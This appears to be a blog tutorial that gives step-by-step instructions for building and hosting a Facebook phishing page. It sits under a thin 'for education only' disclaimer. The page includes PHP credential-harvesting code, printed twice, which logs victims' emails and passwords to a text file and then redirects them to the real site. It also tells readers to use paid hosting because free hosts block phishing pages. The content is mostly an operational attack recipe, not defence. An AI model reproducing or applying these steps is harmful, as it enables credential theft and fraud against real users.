"This article is written only for educating people about how phishing works and how should they prevent phishing scams. Please don’t use these techniques for malicious purposes."
What is Phishing?
Phishing is a most popular technique used for hacking passwords and stealing sensitive information like credit cards, banking username & passwords etc. Phishing aka fishing attack is a process of creating a duplicate copy or a clone of a reputed website in the intention of stealing user’s password or other sensitive information like credit card details. It is easy for anyone who is having little technical knowledge to get a phishing page done and that is why this method is so popular.
Phishing scams prompts users to enter sensitive details at a fake webpage (phishing page) whose look and feel are very identical to legitmate webpages. In most cases, the only difference is URL. URL can also be spoofed in some cases if the legitmate website is vulnerable.
It is difficult for a commoner to identify the phishing scams page because of its trustworthy layout.
So beware of such link and email if received.
Phishing Example
Lets take Facebook as an example, Creating a page which perfectly looks like Facebook login page but putting it in a different URL like fakebook.com or faecbook.com or any URL which pretends to be legit. When a user lands on such page, he/she might think that is real Facebook login page and asking them to provide their username and password. So the people who don’t find the fake login page suspicious might enter their username, password and the password information would be sent to the hacker/attacker who created it, simultaneously the victim would get redirected to original Facebook page.
Create a Phishing page in minutes:
I am going to take Facebook phishing page as an example.
- Go to Facebook.com, make sure you are not logged in to Facebook.
- Press Ctrl + U to view source code.
- Copy the source code and paste it in a notepad.
- Find the action attribute of the login form in the code. Search for keyword “action” without quotes by pressing Ctrl + F in notepad. In Facebook login page, action attribute was filled with Facebook login process url, replace it with process.php
- You have to find name of input fields using inspect element (Ctrl + Shft + I in Chrome), in our case it is email and pass
- Save this file as index.html
- Now you have to get username and password stored in a text file named phishing.txt
- Create a file named process.php using the following code.
Process.php
<?
if(isset($_POST[’email’]) && isset($_POST[‘pass’]))
{
$password=file_get_contents(‘phishing.txt’);
$phishing = fopen(“phishing.txt”,”w”);
fwrite($phishing,$password.”Email : “.$_POST[’email’].” , Password”.$_POST[‘pass’].”\n”);
fclose($file);
echo ‘<script>window.location.href=”https://wwww.facebook.com/”</script>’;
}
else
echo ‘<script>window.location.href=”index.html”</script>’;
?>
if(isset($_POST[’email’]) && isset($_POST[‘pass’]))
{
$password=file_get_contents(‘phishing.txt’);
$phishing = fopen(“phishing.txt”,”w”);
fwrite($phishing,$password.”Email : “.$_POST[’email’].” , Password”.$_POST[‘pass’].”\n”);
fclose($file);
echo ‘<script>window.location.href=”https://wwww.facebook.com/”</script>’;
}
else
echo ‘<script>window.location.href=”index.html”</script>’;
?>
How to host phishing page in a URL?
To put phishing page in a URL, you need to have two things.
- Domain
- Web Hosting
Get a Free Domain
You can create a free domain at Bluehost if you pay for their hosting plans. Once you create a domain, you need to get hosting and setup name servers for it. If you select bluehost you don’t need to setup name servers since it will already be set.
Get Web Hosting
Almost all free hosting panels would block phishing pages. So you need to get any paid shared hosting package, it would cost around $4 USD per month. I prefer bluehost for their excellent service and performance. Get bluehost shared hosting and free domain now.
Once you setup domain and hosting, you can upload the files using FTP software. That’s all you can test it now.
#BEWARE AND SAFE FROM CYBER ATTACKS
#BEWARE AND SAFE FROM CYBER ATTACKS
Comments
Post a Comment